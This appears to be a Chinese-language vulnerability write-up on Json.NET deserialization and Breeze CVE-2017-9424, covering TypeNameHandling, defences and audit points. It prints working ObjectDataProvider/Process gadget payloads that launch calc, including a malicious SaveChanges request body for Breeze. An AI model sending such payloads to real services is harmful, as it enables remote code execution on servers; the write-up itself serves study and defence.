.net反序列化之Json.Net及breeze CVE-2017-9424
字数 1238 2025-08-05 08:18:57

JSON.NET 反序列化漏洞分析与利用 (CVE-2017-9424)

1. JSON.NET 简介

JSON.NET (Newtonsoft.Json) 是一个高性能的 .NET JSON 框架,虽然不是官方库,但在 .NET 生态中广泛使用。它提供了两种主要的序列化/反序列化方式:

  1. JsonConvert - 静态工具类
  2. JsonSerializer - 实例化方式

2. 关键安全配置:TypeNameHandling

JSON.NET 的 TypeNameHandling 设置是安全问题的核心,它有以下几个枚举值:

  • None (默认值) - 不包含类型信息
  • Objects - 当类型为.NET对象时包含类型信息
  • Arrays - 当类型为数组时包含类型信息
  • All - 总是包含类型信息
  • Auto - 根据情况自动决定

当设置为非 None 值时,JSON 中会包含 $type 字段,如:

{
  "$type": "Json.NetSerializer.Person, Json.NetSerializer",
  "Name": "jack"
}

3. 漏洞原理

TypeNameHandling 设置为非 None 值时,攻击者可以构造恶意 JSON 指定任意类型,导致反序列化时实例化危险对象。

3.1 攻击链:ObjectDataProvider

利用 ObjectDataProvider 包装 Process 类实现 RCE:

{
  "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName":"Start",
  "MethodParameters":{
    "$type":"System.Collections.ArrayList, mscorlib",
    "$values":["cmd", "/c calc"]
  },
  "ObjectInstance": {
    "$type":"System.Diagnostics.Process, System"
  }
}

3.2 漏洞触发条件

以下两种方式都会触发漏洞:

  1. 使用 JsonConvert:
JsonConvert.DeserializeObject(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All
});
  1. 使用 JsonSerializer:
JsonSerializer jsonSerializer = JsonSerializer.CreateDefault();
jsonSerializer.TypeNameHandling = TypeNameHandling.All;
jsonSerializer.Deserialize(reader);

4. 实际案例:Breeze CVE-2017-9424

4.1 漏洞位置

在 Breeze 框架的 Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettings 方法中设置了:

TypeNameHandling = TypeNameHandling.Objects

4.2 利用方式

通过修改 SaveChanges 请求中的 saveOptions 字段实现攻击:

原始请求:

{
  "entities": [...],
  "saveOptions": {}
}

恶意请求:

{
  "entities": [...],
  "saveOptions": {
    "Tag": {
      "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
      "ObjectInstance": {
        "$type": "System.Diagnostics.Process, System"
      },
      "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib",
        "$values": ["calc"]
      },
      "MethodName": "Start"
    }
  }
}

5. 防御措施

  1. 设置 TypeNameHandling 为 None (默认值)
  2. 使用 SerializationBinder 限制反序列化的类型
  3. 验证输入来源,不信任外部输入的 JSON
  4. 更新到安全版本,修复已知漏洞

6. 审计要点

  1. 检查代码中 TypeNameHandling 的设置是否为 None
  2. 查找 JsonConvert.DeserializeObjectJsonSerializer.Deserialize 的调用
  3. 检查是否使用了 SerializationBinder 进行类型限制

7. 总结

JSON.NET 反序列化漏洞的核心在于 TypeNameHandling 的不当配置,使得攻击者能够控制反序列化的类型。开发人员应避免使用非 NoneTypeNameHandling 值,或配合 SerializationBinder 进行类型限制。

JSON.NET 反序列化漏洞分析与利用 (CVE-2017-9424) 1. JSON.NET 简介 JSON.NET (Newtonsoft.Json) 是一个高性能的 .NET JSON 框架,虽然不是官方库,但在 .NET 生态中广泛使用。它提供了两种主要的序列化/反序列化方式: JsonConvert - 静态工具类 JsonSerializer - 实例化方式 2. 关键安全配置:TypeNameHandling JSON.NET 的 TypeNameHandling 设置是安全问题的核心,它有以下几个枚举值: None (默认值) - 不包含类型信息 Objects - 当类型为.NET对象时包含类型信息 Arrays - 当类型为数组时包含类型信息 All - 总是包含类型信息 Auto - 根据情况自动决定 当设置为非 None 值时,JSON 中会包含 $type 字段,如: 3. 漏洞原理 当 TypeNameHandling 设置为非 None 值时,攻击者可以构造恶意 JSON 指定任意类型,导致反序列化时实例化危险对象。 3.1 攻击链:ObjectDataProvider 利用 ObjectDataProvider 包装 Process 类实现 RCE: 3.2 漏洞触发条件 以下两种方式都会触发漏洞: 使用 JsonConvert : 使用 JsonSerializer : 4. 实际案例:Breeze CVE-2017-9424 4.1 漏洞位置 在 Breeze 框架的 Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettings 方法中设置了: 4.2 利用方式 通过修改 SaveChanges 请求中的 saveOptions 字段实现攻击: 原始请求: 恶意请求: 5. 防御措施 设置 TypeNameHandling 为 None (默认值) 使用 SerializationBinder 限制反序列化的类型 验证输入来源 ,不信任外部输入的 JSON 更新到安全版本 ,修复已知漏洞 6. 审计要点 检查代码中 TypeNameHandling 的设置是否为 None 查找 JsonConvert.DeserializeObject 和 JsonSerializer.Deserialize 的调用 检查是否使用了 SerializationBinder 进行类型限制 7. 总结 JSON.NET 反序列化漏洞的核心在于 TypeNameHandling 的不当配置,使得攻击者能够控制反序列化的类型。开发人员应避免使用非 None 的 TypeNameHandling 值,或配合 SerializationBinder 进行类型限制。